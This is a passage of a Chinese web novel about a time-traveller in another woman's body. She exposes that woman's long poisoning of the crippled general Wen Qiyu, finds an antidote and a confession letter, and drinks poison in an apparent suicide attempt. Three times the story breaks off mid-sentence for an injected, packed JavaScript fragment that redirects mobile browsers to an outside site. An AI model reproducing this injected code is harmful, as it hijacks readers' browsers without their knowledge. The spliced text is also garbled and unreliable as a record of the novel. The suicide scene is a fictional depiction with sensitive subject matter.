这几日,叶之萤心里是既憋屈又愧疚。自那日之后,温其玉再也没有和她说过一句话了。而她也并没有因为大仇得报而得以解脱,除了当时短暂的畅快了一下,悔恨几乎要将她淹没。 自己所谓的报仇是建立在他不能反抗的基础之上,说到底,不过是仗着自己身体的优势凌辱他的残障罢了,手段卑劣,实在算不上光彩,更不值得骄傲。 原本她是想等腥月草晒干后先在老鼠身上实验一下治疗效果,再告诉温其玉真相。但是这几天,她越来越无法面对他,和他待在一起的每一秒对她而言都变成了她无法承受的心理折磨,她刻意躲开他的眼睛,甚至连喂饭这种事都只用余光看他,以至于他干净的衣服上日日都沾满了菜汤饭渣。可他对此既不抱怨也不原谅,他的冷漠让她几近崩溃。 再又一次因为心不在焉而失手打翻了饭碗后,叶之萤那早已在崩溃边缘的心理防线终于全线坍塌,她一秒也等不下去了,冲回李渔房间收拾了所有证物后又回到了温其玉的床前。 温其玉见她竟然手提一只老鼠,这几日脸上头一次出现了冷漠之外的表情。 “我有话跟你说。”她道。 “请讲。”这同样是几日以来他对她说的第一句话。 “前一段时间,我误食了一种东西,以至于浑身无力,如同痹症,你还记得吧?” 听完这话,他的表情变得肃穆起来。 她继续说道:“有一天晚上,我意外发现李渔房间里藏着一包很神秘的东西,那是一包白色的粉末。当时,有一些粉末从纸的缝隙里漏了出来,又不小心飘进我喝水的杯子里,而我恰好又喝了那杯水……第二天醒来,就是你看到的状况了。” 他的狭长的眼睛微眯了起来,聚拢的目光比平时更显凌厉:“你的意思是,那白色粉末有问题?可你又如何能断定你那日的状况是因为那些粉末?” “你说的没错,当时我还不能肯定这一点。”她道,“所以为了印证这个猜想,我又试了一次!” “什么?”那双眯着的眼睛瞬间睁大,“又试了一次?何时试的?” “对!就是骗你我得了风寒、休息了六天、后来还哭肿了眼睛那次。”她的语气颇为得意,“第二次和第一次一样,也是睡前喝下,到半夜就有了反应!只是,第二次比第一次药力大得多,我差点就忍受不了了。” 一想到那次的反应,她仍然感到后怕,以及……尴尬。 “你怎会如此大胆?不怕出事吗?你根本不清楚那药粉的危害,怎敢随意用自己的身体去试?倘若我真是被那药粉所害,你又怎能再去尝试?你有没有想过,万一你因此像我一样日后都不能动弹,该如何是好?简直是胡闹!”他一连反问了她好几句,连声音都比平时高了好几倍。这些话听起来像是责备,实际却充满了对她的担忧。叶之萤心中一暖,很快,就为自己那日的行为更加感到愧疚。 “但是我赌赢了。第一次误食,我只是浑身无力,两日就好了。但第二次情况就严重多了,先是浑身无力、不能起身,待有一些力气了,心中又充满怒气难以消散,最后食欲全无,郁郁寡欢、以泪洗面,和你的症状完全一致。我不仅自己试了,还给这老鼠也试了一段时间,它的反应也是一样,吃完之后四肢瘫软无力,完全不能动了!”说话时,她始终垂着眼,躲开了他的目光。 还有一点她刻意没有说,就是那日连她自己也被这香味所控制,对他做了那样难以启齿的梦…… 温其玉看了一眼瘫倒在笼中的老鼠,问道:“你想说什么?” 他的语气并不意外,想必是已经猜到了她想说的话。但她还是继续说了下去:“你是不是也已经意识到,自从李渔离开以后,自己的身体就开始好转了?” 她偷偷瞥了他一眼,他的表情没有一丝惊讶,果然是对李渔的投毒行为已经有所察觉。 “我知道你已经派阿力到李渔房里查探过了,你猜的没错,你的痹症就是被李渔长期投毒所致。而你之所以之前一直没能察觉,我猜也是因为对这毒药上瘾导致的。你闻到的李渔身上的香味其实就是毒药的味道。这粉末本身没有味道,可若是将它溶在水中,再将水沾在布料上后,那布料就会发出一股异香,大约三四个时辰,那股味道又会自行消失。”说完,她从袖子中取出一张手帕,放在他面前,“你闻闻,这味道熟悉吗?” 他只轻轻地嗅了一下就面色大变。 “是她身上的味道吧?你看。”她将手帕塞进鼠笼中,那老鼠立刻兴奋地舔了起来,随后又不停地“吱吱”叫,“我每晚都给这只老鼠闻这手帕上的味道,现在,它一闻到这个味道,就开始对着这只手帕发情了。这就是为什么你对李渔的感情会来得那么莫名其妙。李渔喜欢你,你却始终不喜欢她,所以,为了让你依赖她、离不开她,她就用了这样的方法,在你最脆弱的时候趁虚而入。” “若真是你说的这般,她将此物沾在身上,她自己为何没事?”他反问她。 “因为她有解药啊!事先用了解药,这药再沾在身上就不会对她产生影响了。我已经试过了,这药只有碰到水时立刻闻其味才有药效,半个时辰后,即使还有香味,闻着也不会上头了,三四个时辰香味就散尽了。她晚上伺候你的时候,把药水喷在身上,不到第二天一早就没有味道了,所以别人根本不会发现她身上的异香,而你被那香控制着,自然也不会怀疑她!”说到这里,她的脸上露出了这几日难得的笑容,“我要跟你说的好消息就是这个,你的痹症是有解药的!等用了解药,你就能康复了!” 温其玉的目光在那张既丑陋又美丽的脸上徐徐游走,漆黑如墨的眼眸渐渐蒙上了一层温柔的水雾。 可叶之萤的心情却因为真相的揭晓而愈加复杂。自己如今这张脸的主人将温其玉伤害至此,而她又不得不顶着这张脸,即使温其玉不介意这张脸日日在他眼皮子底下晃,她自己每日照镜子也会觉得万分恶心。她永远也没有办法接受自己的灵魂在这样一个歹毒丑陋的皮囊之下。况且,温其玉怎会一点也不介意? 不仅如此,对大明星身份的不舍、对现代生活的想念,还有她和温其玉之间愈发尴尬的相处,也都让她在这里的生活越来越痛苦,越来越无以为继。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991650|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她想,如今既已完成了最重要的事,是时候告别了。 于是她将鼠笼提到一旁,站在床边拘谨道:“刚认识你那时,我特别讨厌你,当时一想到不知道还要跟你再生活多久,我真的几度崩溃到不想活了。”思绪随着这些话又回到了那时,她的心里感慨万千,“后来,阴差阳错的,我又硬着头皮假扮李渔重新回到了你身边,没想到,你竟然变了个人,不仅没有再难为我,还大度地让我留在这里。这段和你的相处的日子,虽然也有不愉快,但与我而言,更多的还是幸福!我无法提前预知自己的归期,怕自己走得会太突然,还是决定尽早告诉你真相,这样,等李渔回来,你才不会继续受她蒙骗、被她伤害。” 叶之萤望着温其玉那对轻颤的睫毛,将那逐渐上头的情绪用力憋了下去,直到情绪重新平稳,才再一次开口:“温其玉,我这辈子都会记得你的,即使回去,我也不会忘了你。如今找到了解药,你一定会好起来的!虽然我没法亲眼看到你康复,但在千年之外,我也会为你祈祷的。” 情绪再一次翻涌上头,并且再也憋不回去了,她的声音明显抖了起来。她没想到,到了要离开的时候,自己竟然会如此不舍得温其玉——这个曾经残酷折磨过自己、且现在还在和自己置气的人。 “你要走了?”那双望着她的眼睛明显一紧。 “不,还没找到回去的办法。”她撒了谎,“只是……你恐怕不想再看到李渔这张脸了吧?既然如此,以后和你见面的机会就少了,谨防哪天我毫无征兆地离开,还是提前跟你告个别,以免到时候走得匆忙漏掉了,那样,我会遗憾的。” “别乱想,我……不介意的。”他小声道。 叶之萤鼻子一酸,假笑起来:“是吗?可是我介意啊。” 床上的人眉心皱了一下,而后又劝她:“虽然之前寻到的那些术士对送你回家皆无能为力,但我已飞书钦天监,继续为你寻得回家之法,你可否再耐心等些时日?在这期间,我会派两名下人伺候你,你想做什么就去做,无需拘束。” “谢谢你的好意,不过我用不惯下人,就不用了吧。”她明白他的良苦用心,但还是拒绝了他。 床上的人嘴巴反复颤动了几次,张开又合上,似乎是想说什么,最后却什么也没说,只是勉强应了声“好”。 之后,他的眼睑沮丧地垂了下去,浓密的睫毛不住地颤抖。 “那我走了,保重!”叶之萤使劲压住越来越急促的呼吸,对着并没有看她的人使劲笑了一下,毅然提着鼠笼起身离开。 “叶之萤!” 即将踏出房门时,身后传来了温其玉略显急促的声音。这是他第一次叫她的全名,叶之萤停下了脚步,没有回头。两个多月前,在相同的位置,彼时迫切想要留下的她迟迟没有等到床上之人的挽留,不得不硬着头皮假装离开。而如今,她去意已决,他却试图阻止。 “生命不易,好好活着。”他说。 几颗泪珠顺着叶之萤的脸颊滚落而下,她轻轻点了一下头作为回应,狠心踏出了房门。 这一次,她不会再回头了。 28. 神秘的钥匙 两三个小时后,阿力来找叶之萤,身后还跟着两个小姑娘和两个少年,手提糕点、花卉、针线布匹,其中一个丫头甚至还抱着一把古琴,而阿力的手里则提着一个鼓鼓囊囊的布袋。 “这是?”她看着这些东西,大概猜到了是怎么一回事。 阿力解释道:“少爷怕你无聊,特意安排了两个机灵的丫头陪你,还准备了些打发时间的玩意儿,还有这个,”说着,便把手里的布袋塞到了她手里,“你若是在宅子里闷得慌,就让他们陪你到外面走走,黎城的风光特别美,你还没见过吧?” 呦嗬!可真够沉的!她打开一看,里面全是银锭。 刚刚在温其玉房里和他告别时她就已经知道了,温其玉根本就不信她的话。他甚至已经猜到了她想做什么,才企图用这样的方式稳住她。 阿力示意下人们放下东西,待他们离开后,急忙关上门,才开始抱怨:“叶小姐,不是我说,你这次真的冲动了!你和少爷最近好不容易关系缓和了些,难道你就没想想,少爷知道了实情,还怎么面对你……这张脸!” “哎!那也不能不说啊!”她叹了口气,在这件事情上,根本就没有两全之法。 阿力急得一边搓手一边踱步:“这可怎么办才好?这般鲁莽地告诉少爷实情,这……这可怎么挽回啊?” “别担心!”她拍了拍阿力的肩膀安慰他,“他一定能想明白的!找到了他痹症的源头,找到了解药,知道了他还能恢复,这是好事啊!” “你说的是!只是……”他望着她的脸道,“这段日子要委屈你了,你的样貌……” 看来并不是她多心,就连阿力也觉得她如今的样子不适合再与温其玉见面。 “不用说了,我懂。”但她的心里还是难免觉得委屈。 “叶小姐,您不仅胆识过人、还深明大义,阿力实在佩服!以后,您若有任何事需要阿力来办,尽管交代!”阿力的感激之情溢于言表。 叶之萤摆摆手,道:“好了,别恭维我了,说正事,腥月草晒好了吗?” “恐怕还得几日。”他回道。 可她已经等不了太久了,便问他:“还能再快点吗?” “每日都在太阳下晒着,已经最快了!” 无奈之下,她只好交代他再尽量快点,又把桌上那个布袋还给了他:“这些钱你拿走,告诉他无功不受禄,我不会平白无故收他钱的。还有,我喜欢清静,那两个小丫头我也不要,你带走吧。” 一边说,一边硬推阿力出了门。 之后,她打开梳妆台的抽屉,取出了一把铜制的钥匙。 这把钥匙是她第一次来到这间屋子里就发现了的,和那包粉末一样,她始终觉得它不是一把普通的钥匙,但这些日子以来,她几乎找遍了屋子的所有角落,都没有发现能用它打开的锁。 她还有一个疑惑,倘若这钥匙是用来开启重要物品的,那李渔为何要把这么重要的东西随手放在未上锁的抽屉中?她明明可以把这钥匙像那药粉一样藏起来的! 叶之萤躺在床上,左思右想,辗转反侧,却始终没有头绪,想着想着,就睡着了。 之后的三天,温其玉日日派人送来好吃好喝的,她吃饱了睡,睡饱了再吃,日子单调得像一头待宰的猪。 不对,连猪都不如!至少猪不会被人嫌弃,养肥以后还能杀了卖肉换钱! 腥月草还没有完全晒干,她只能委屈自己再当几天既讨人嫌又不能卖钱的猪。 外面的阳光很温暖,隔着门窗都能感受到它的温度。叶之萤在屋里待得太闷,便打开了门,想到院子里走一走。谁知刚迈出房门,就看到温其玉躺在门口那张躺椅上晒太阳。趁他还没扭头,她迅速退回了房里,又躺回床上。 这种日子和坐牢有什么区别! 她望着床顶重重地叹了口气,一口气还没叹完,就看到床顶的木板上好像有一个“△”的符号,就在床头靠墙的角上。 那是什么?她躺在那里看了好一阵都看不清楚,便起身站在床上,对着那个床角抬起胳膊,正好可以摸到三角的图案,像是被尖锐的类似小刀的东西刻出来的一个标记。 是暗号吗? 这间屋子里只有李渔一个人住,即使算上整个内院,每日进出的也就那几人而已,如果这是个暗号,那这暗号是刻给谁看的呢?这间屋子难道还藏着别的秘密? 可叶之萤围着那个三角形的标记把床顶检查了一圈,脖子都酸了也没有看出什么问题。 床顶是一整块木板,并没有任何切割过或拼接过的痕迹,显然藏不了东西,她又用手敲了整个床顶的木板,声音都没有异样。 难道是自己多心了? 她又躺回了床铺上,目光依然被那个“△”吸引,看着看着,“△”仿佛开始发光,那束光缓缓垂直向下延伸,投影到床铺上、头旁边的某个位置! 她一个激灵爬起来,一把将旁边的铺盖全部掀开,仔细检查起身下的床板。 可结果却让她失望了,并没有任何收获。她又不死心爬到床底检查,发现同样空空如也,毫无玄机! 她只好又一次四仰八叉躺回到硬床板上,整张床都检查过了,莫非,秘密不在床上?难道…… 她脑海中瞬间闪过一个念头! 在床顶??!! 她又一次爬下床,站在床下绕着床看了一圈,依旧没有发现什么异常。可是她恍然发现,这床顶竟是被一圈约十公分高的木板围起来的,就像楼顶的女儿墙那样。假如真有东西藏在床顶,站在地面上也是发现不了的。 于是她把桌子挪到床边,又把凳子架上桌子,一层一层站上去,这下,床顶的情况被她一览无余。 果然,“△”的正上方,放着一个和床体颜色几乎一样的木盒。而它的高度正好可以完美地被那圈木板挡住。 而那盒子上正巧挂着一个铜锁。 她把盒子取了下来,拿出那把钥匙,对准锁眼,一下就插了进去!再一拧,锁真的开了! 盒子里放着三样东西:一个鼓鼓的布袋子、一封信,以及一个瓷瓶。 她先打开布袋,发现里面竟然是很多已经晾晒好的腥月草,是李渔为自己准备 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991651|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的解药。 又拿起那封信,信封上写着五个字,不知道是什么文字写的,叶之萤连蒙带猜确定有个“玉”字,难道是写给温其玉的?信封并没有封上,她直接取出那封信,本想看看写了什么,可信里的字她一个也不认识,只好又放了回去。 最后,她拔开了那只白色的瓷瓶上的木塞,里面装着一些粘稠的液体,大概半瓶的样子,刚打开就闻到一股及其浓烈、刺鼻的味道,叶之萤心想,这恐怕又是毒药! 于是她将那瓷瓶小心收了起来,又拿着腥月草和那封信出了门。温其玉已经回房了,阿力在房里照顾他。 正在她犹豫着要不要进去的时候,关若飞正好从房里出来了,一见他,就高声问道:“夜莺,你找兄长有事?” 叶之萤思来想去,还是把关若飞拉到了一旁,只是没想到她还没开口,关若飞就先开了口:“李渔的事,我听说了。” 听说了就好! “那这信上的字,你认得吗?”她开门见山,把信封露出来给他看了一眼。 “这是阿尔钦文!”他很肯定地说,“是李渔写的?” “应该是,你认识阿尔钦文吗?能看看写了什么吗?” 他点头道:“我懂一些,但有个人很懂!” “温其玉?” “兄长多年带兵征战阿尔钦,熟悉阿尔钦文字,这信,是写给兄长的!” “那就麻烦你交给他吧,还有这包东西,是晒干的腥月草,李渔就是用这东西来给自己解毒的,或许它也可以帮助温其玉解毒,你一起交给他吧。” 关若飞接过东西,难得正经地跟她说话:“夜莺,谢谢你!如今在这李渔的身体里,委屈你了,若是你觉得委屈,就来找我,只要能让你开心,我陪你做什么都行!你也无需觉得有负担,兄长是明事理的人,断不会因为你如今的样貌对你有心结,你不必躲着兄长。” 她笑着摇了摇头:“不用安慰我了,我不觉得有什么委屈。只是,从温其玉的角度来讲,一个害他至此的人,让他怎么坦然面对呢?我如今要是再整日出现在他面前,对他不是一种残忍吗?”又话锋一转,道,“好啦!快去把东西交给他吧!还有,谢谢你这些日子对我的照顾!” 临走前,同样应该感谢他。 “客气什么,只要你愿意,以后我会继续照顾你的!”他没心没肺地一笑,就拿着信去温其玉房里了。 不知那信里写了什么? 转眼,叶之萤已经在桌旁坐了近两个小时,手中始终握着那只白色的瓷瓶,心乱如麻,犹豫不决。 如果她没猜错,这瓶子里装的应该就是李渔自杀喝的毒药,如今所有事情都已了结,自己也可以安心上路了。可即使之前已经想好,真当这药拿在手上时,她还是害怕了。 在她二十八年的人生中,她从来没有一个念头想过自杀,可如今身处迷津,她实在不知道除了死,还有什么办法能够解除眼前的困境? 想回家却回不去,可若继续留在这里,以李渔的身份,同样无以为继。世界那么大,却已无她叶之萤的安身之处…… 29. 李渔的信 笃笃笃!有人敲门。 叶之萤将瓷瓶藏在衣服里,起身开门。 来人是关若飞。 “信他看了吗?”还不等他进门,她就急着问。 关若飞走进屋子,坐在了桌旁,她赶紧坐在他对面继续追问:“信里说了什么?” “信是李渔写的没错。她将自己所作所为都在信中交代清楚了。” 果然如此!答案并不出所料。 关若飞见她什么也没问,又继续说:“和我们猜的都不一样!” “不一样?”叶之萤一下瞪大了双眼。 “她给兄长下毒,并不是因为爱而不得,她的目的就是要让兄长成为一个不能自理的废人,让兄长一辈子困于病榻之上。”才刚开始说,他就恨得咬起了后槽牙。 “她为什么要这样?她和温其玉有仇吗?”叶之萤不解。 “因为她是阿尔钦派来的细作!” 她当场震惊得无法言语。 关若飞继续说:“一年前,正值前方与阿尔钦的战事吃紧,年轻的主帅无力应付战局,便特请兄长出山坐镇后方指挥战事。兄长彼时刚从双腿瘫痪的打击中恢复过来,虽说不能再骑马亲上战场,但也能够自理,便同意了此事。谁知刚准备动身,李渔就从京城赶到了江南,她刚一到没几日,兄长便出事了,指挥战局一事只好就此作罢,蒙军也因此遭受重创,被阿尔钦兵活捉上万俘虏。” “你是说,那次就是她给温其玉下的毒?”事情终于逐渐清晰起来。 “是!后来怕兄长恢复,她又主动要求照顾兄长,怕兄长让她走,又怕被兄长识破她的阴谋,便用药控制兄长,让兄长离不开她。” “照这样说,”叶之萤突然想到了更可怕的事,“那温其玉第一次救了她之后就双腿瘫痪了,难道也是她下的毒?” “是!她将患有痹症的孩子的粪便携带在身上,兄长当日救下她时,刚在战场拼杀了两个月,身体本就疲累,又染上了风寒,她便趁此机会每日将微量的粪便投至兄长的饮食中,没几日,兄长就感染上了痹症。”关若飞双拳紧握,恨得指甲都抠进了肉里,眼眶也恨得通红。 痹症?听他这描述,不就是现代人说的脊髓灰质炎吗?这种病大人很少会得,但一旦得上,症状就会很重。叶之萤一直以为温其玉被投的是可以逆转的毒药,现在才知道原来两次毒是不一样的。可如果真像信中所说的这样,那他的双腿……岂不是再也好不了了? 她简直不敢想象,李渔竟然布下一个这么大的局,利用温其玉的善心,将这个在战场上能敌千军万马的英雄伤害至此! 这个歹毒的女人,她怎么下得去手?难道她不是邺国人吗?她为什么要做汉奸、坑害自己国家的英雄?叶之萤的心中好像有巨浪在翻腾,气郁难忍、悲愤不已。 “可温其玉看起来不像会轻易被骗的人啊?为什么这么久都没发现她的异常?”叶之萤实在想不通,她起初假扮李渔,甚至只露出了几个眼神就被他拆穿了,第二次也没能躲得过他的双眼。心思这样敏锐的人,没理由发现不了李渔的阴谋啊? “她用的那种毒药可迷人心智,兄长是被药物控制了,才轻信了她。” “那她为什么自杀呢?难道是良心发现了?”说完,连她自己都笑了,这种没有良知的黑心之人,怎么可能良心发现? 关若飞道:“她每日给兄长下药,虽说自己已用了解药,但是下药的日子久了,她发现那解药竟也不能完全解毒了。她对兄长产生了感情,渐渐地不忍心再残害兄长,阿尔钦的人却不许她收手,这种情况下,她内心的煎熬日益加重,自觉无颜再面对兄长,又实在无路可走,便选择了自裁谢罪。” 叶之萤当即冷笑起来:“哼!既然自觉无颜面对温其玉,既然要谢罪,那她死之前为什么不跟温其玉坦白?为什么不及时把解药交出来?还把信藏在那么隐蔽的地方,分明是不想让人知道她做的恶。要不是被我发现了她的秘密,温其玉就算怀疑她,也只怕永远都不会知道自己中的是什么毒!永远都只能瘫痪在床!这个歹毒的女人,死了还要继续害人!” “她在信中说,她不想破坏自己在兄长心中完美的形象,但又不忍心继续骗他,所以她将这封信和解药藏了起来,又将钥匙特意放在显眼之处留下线索。若有人能发现这一切,那便是老天爷派来解救兄长之人,她便认了!”关若飞无奈地叹气。 “说到底,不过是自私罢了,都说人之将死其言也善,她却直到死的那刻都不愿意说出真相救温其玉,任由他一辈子瘫痪在床,还好意思说爱他?她的爱可真廉价!”她气得连拍桌子,又想到了那包晒干的腥月草,忙问关若飞,“对了,那些腥月草真的是解药?她在信里提到了吗?” 说到这里,关若飞一直愤怒的双眼总算放起了光:“你猜得果然没错,解药就是腥月草!只是……”语气又急转直下。 “什么?”她心里“咯噔”一下。 “兄长中毒时间过长,尚不知这解药是否能将兄长体内的毒素悉数化解。”他沮丧地垂下了头。 叶之萤一听,安慰他道:“别灰心!他躺得时间太长,身体肌肉都萎缩了,就算毒素能全清,也得积极锻炼,让肌肉重新有力起来才有希望恢复,所以重点是要敦促他积极锻炼。更何况,不管解药能让他恢复到什么程度,都比现在要强得多,对不对?对了,他……现在情绪怎么样?” “兄长此前已猜到了一些,得知真相后倒也没有太意外。”他脸色一变,像是突然想到了什么,又问她,“李渔在信中还提到她自杀时喝的毒药,同样放在盒子里,你可有见到?” “什么样的毒药?她信里有说吗?”她装作不知。 “只是顺便提了一笔,未有细谈,兄长怕毒药外泄引起祸事,便让我问上一嘴。” “噢,我刚才打开好像没有见到盒子里有其他东西,盒子就在那儿,”她起身走到梳妆台旁,拿过木盒递给关若飞,“要不你再检查检查。” 正当关若飞里里外外检查盒子时,阿力又来了,这次手里端着餐盘,显然是来送饭的。只是肩上还挎着一只包袱,令叶之萤有些奇怪。 “叶小姐,吃饭吧!”他将餐盘放在桌上。叶之萤一看,又是鸡鸭又是鱼虾,五色俱全、五味俱香,很是丰盛! 阿力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991652|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看出了她的惊讶,解释道:“你为少爷做的事,少爷都铭记于心!” 说完,又把那只包袱递给她:“这几个月多亏了你日夜操劳,少爷心怀歉意,让我带了你的月钱过来,少爷特意嘱咐说,这是你应得的月钱,千万不要拒绝。少爷还嘱咐,‘黎城山明水秀,草绿花红,风景秀美,煞是迷人,若闲来无事,可由阿力或关衙内陪叶姑娘出去走走。’” 她接过包袱打开一看,里面果然全是银锭,一一数来,竟是整整五十两:“怎么这么多?当初不是说好一个月五两吗?我干了两个月,就拿十两吧。剩下的麻烦你帮我还给他。” 阿力急忙把包袱往她面前推:“别别别,叶小姐太见外了!哎呀,少爷不过就是想让你出去逛逛,买买东西,开心开心,你就收下吧!” “对啊,收下吧!”一旁的关若飞也插话道,“兄长对你为他所做的一切,一直心怀感激的!” “阿力,告诉你家少爷,我没怪过他,他也不需要补偿什么。”她强行拒绝了多余的银子,只留了十两,而这十两对她其实也是没有意义的。原本她是一两都不想拿的,纯粹是怕温其玉起疑才干脆收下。 待阿力走后,她故意问关若飞:“找到李渔提到的药了吗?” 关若飞放下木盒,摇头道:“已经翻了个遍,这盒子没有暗层,根本藏不了东西。” “那就奇怪了,她应该不会无缘无故在信中提到那药吧?”她继续演戏,顺便套他的话。 他果然上了当:“她只说那药毒性极强,不需服下,只闻一下便可中毒,提醒兄长慎重处理。” “闻一下就中毒?”叶之萤不禁大惊失色,刚才自己少说已经闻了两回,岂不是已经中毒了? 罢了罢了,本来偷偷留下就是要喝的,这下倒是省得再犹豫了。她安慰自己,让自己冷静下来。 “你怎么如此激动?”关若飞似乎觉察出了她的不对劲,眼底透出一丝狐疑。 “太不可思议了!没想到这世上还有毒性这么强的东西,我可真是孤陋寡闻!那可得好好找找,万一被不明就里的人捡到,会酿成大祸的!”她顺着刚才夸张的情绪继续演了下去,只当是没听过有这样的毒药才如此吃惊,反倒打消了他的狐疑。 “是啊,可是这盒子里并没有啊,你这盒子是在哪儿找到的?” “在床顶上,要不再上去找找!” 于是,她又假模假样与关若飞一起检查了一遍床顶,自然是什么也没有查到。 关若飞叹了口气,忽然神色一紧,转过身来附身对她说:“夜莺,既然毒药尚未找到,那自然还在这间屋子里。你如今再住在这里亦不安全,我待会儿还要和阿卓、阿力外出一趟,你先到我房里待着吧,待我们回来,让阿力为你重新准备一间客房,你且先搬过去,不要在这里住了!” 叶之萤假装先应下来:“行!那你先忙去吧,我再收拾些衣服日用品,待会儿就到你房里去。” 待关若飞走后,她又取出了那只白色瓷瓶,不一会儿,就听见三人出门办事了。她又等了十来分钟,确定他们不会再回来,便出了房间,走到了隔壁房的门口…… 30. 情起于别时 本想透过门缝偷偷再看温其玉一眼,可没想到他的房门竟敞着,她刚走到门口,里面床上的人就听见她的脚步声将头也转向了门口,二人目光对视,她被抓了个正着! 叶之萤吓了一跳,脚步猛然顿住。 “你要去哪儿?”他一眼就看到了她手里的白色瓷瓶,目光猛地一缩,而后很快就藏起了惊慌,装作若无其事对她道,“叶姑娘,阿力不在,你能否进来帮我倒杯水?” 试图将她先骗进屋里。 叶之萤原本不想让他担心的,可谁曾想居然这么不走运。心里一慌,连他的脸都没看清,撒腿就跑了。 可才跑了几步,她就又停了下来。 自己就这么走了,对温其玉会是多大的打击啊?他眼睁睁看着自己走,却无力施救,假如自己这次真的死了,那他得多自责?多痛苦? 身后,温其玉还没放弃挽留她,还在叫她的名字,从“叶姑娘”喊到“叶之萤”,嗓音一声比一声哑…… 她停在那里做了很久思想斗争,差点就要心软掉头回去了,可在最后一刻,她突然想明白了!自己不过是个在温其玉生命里短暂陪他走了一程的过客而已,哪有自己以为的那么重要? 或许在同行的日子里,因为自己与他经历过一些令彼此都开心的事,分开时难免会不舍,但那不过是阵痛罢了。要不了多久,他就会找到新的同路人,再久一点,自己在他记忆中的印象就会逐渐模糊,到最后,他会忘掉自己的姓名、模样、说话的语气,只剩少许残影赖在他的记忆深处。毕竟,人生那么长,生命中的过客何其多…… 不!自己连残影都不会在他心中留下,因为他根本就没见过自己的样子!从某种意义上来说,他根本不认识自己!即使自己以后真有机会以真身出现在他面前,他也认不出!多可悲啊! 她苦笑一声,对着那间屋子喊了声“保重”,就头也不回地走掉了。 温其玉还在叫她,可她知道,这间内院平日里是没有旁人的,此时阿力不在,他的喊声不会有人听见。 后院的左手边有三间房子。她平日里从未留意过。 第一间是林大夫的房间,虽然林大夫七天只来一次,但温其玉还是贴心地为他准备了卧房,如今房门上着锁,没法儿进去,当然,就算房门开着,她也不会专门选择去别人的房间服毒给人添堵。 又来到第二间屋子门前。这间屋子不知是何用途,平时一直上着锁,也没见有人进去过。但是今天,这门竟然神奇的没锁!她一把就推开了它。 而后,她的双腿就被钉在了地上,再也迈不开步。 在她的正前方,是一套锃亮的银色盔甲,头戴铜胄,手握长枪,身披红色披风,魁梧地立在屋子中间。它虽然被摆在阴暗无光的房间里,但依然散发着凌厉的寒光,展示着其主人当年的意气风发。 她望着这套盔甲震惊了很久,才回过神来,缓缓走到它旁边。 这盔甲实在很高大,目测比1米72的她还要高出一个头来,而她如今以李渔的视角,更是只能平视它的胸甲片。 银色头盔侧面上刻着一个字,她踮起脚尖、仰起脖子仔细辨认,发现是一个“濯”字。为何要刻这样一个字?难道是取“濯清涟而不妖”之意? 她轻抚这甲胄,脑海中想象着一个英姿勃发的年轻将军在广袤的沙漠里策马扬鞭,那红色的披风在刺眼的阳光下飞舞,如同敌人胸膛喷出的血液那般鲜红醒目,真是这世上最美的画面! 她踮起脚,在那铠甲的胸口位置一吻,转身退出了房间。 第三间是药房,因为每日都要为温其玉抓药,所以并未上锁。推开门,一股又酸又苦的药味就从房里迎面扑来,她下意识地屏住了呼吸。 这间屋子不大,却整面墙都是药格,每一个抽屉里都放着不同功效的药材,为了好区分,抽屉外面都写着药材名字。 22列,15行,总共330个抽屉,也就是330种药材,全是为温其玉治病用的。 那个银鞍白马、剑指苍穹的少年将军如今已被毒药折磨得形如枯槁、以药续命…… 她心里猛的一疼,又想起了那日他重重摔在床上、愤怒瞪着自己的样子,匆匆转身退出并关上了房门。 药房对面是厨房,午饭已毕,又未到下午,厨房只有她一人而已。灶台上放着一个棕色的坛子,她靠近闻了闻,是一坛酒,关若飞的酒。 酒壮怂人胆,她想也没想就抱起了坛子…… 这酒不比现代的工业酒,喝着并不呛,也不辣,反而入口清香,酒精味很淡,很快,一坛酒就下了肚,叶之萤也有些飘飘欲仙了。 此时,她意识尚在,心中的胆怯却这酒全部驱散,她再也不惧怕那白色瓶子里的毒药了,于是拔掉塞子,将那苦涩的液体与清香的米酒一起灌进肚里。 她斜靠在厨房门口的墙上,静静等待着死亡的降临。突然,前院有杂乱的脚步声传来。 她急忙起身,慌张地在后院寻找能躲藏的地方。药房空荡荡的,除了小柜子什么也没有,根本藏不了人。于是她再一次推开了第二间屋子,发现盔甲的后面靠墙的地方还摆着一个大箱子,刚刚光顾着欣赏盔甲,竟然完全没注意到。那箱子很大,足以装下三个李渔。 “夜莺!夜莺!” “叶小姐!” “叶小姐!你在哪儿?” 关若飞、阿卓、阿力的声音突然同时从前院传来,她猜是温其玉将她准备喝药的事告诉他们了,所以他们才这么着急出来找她。 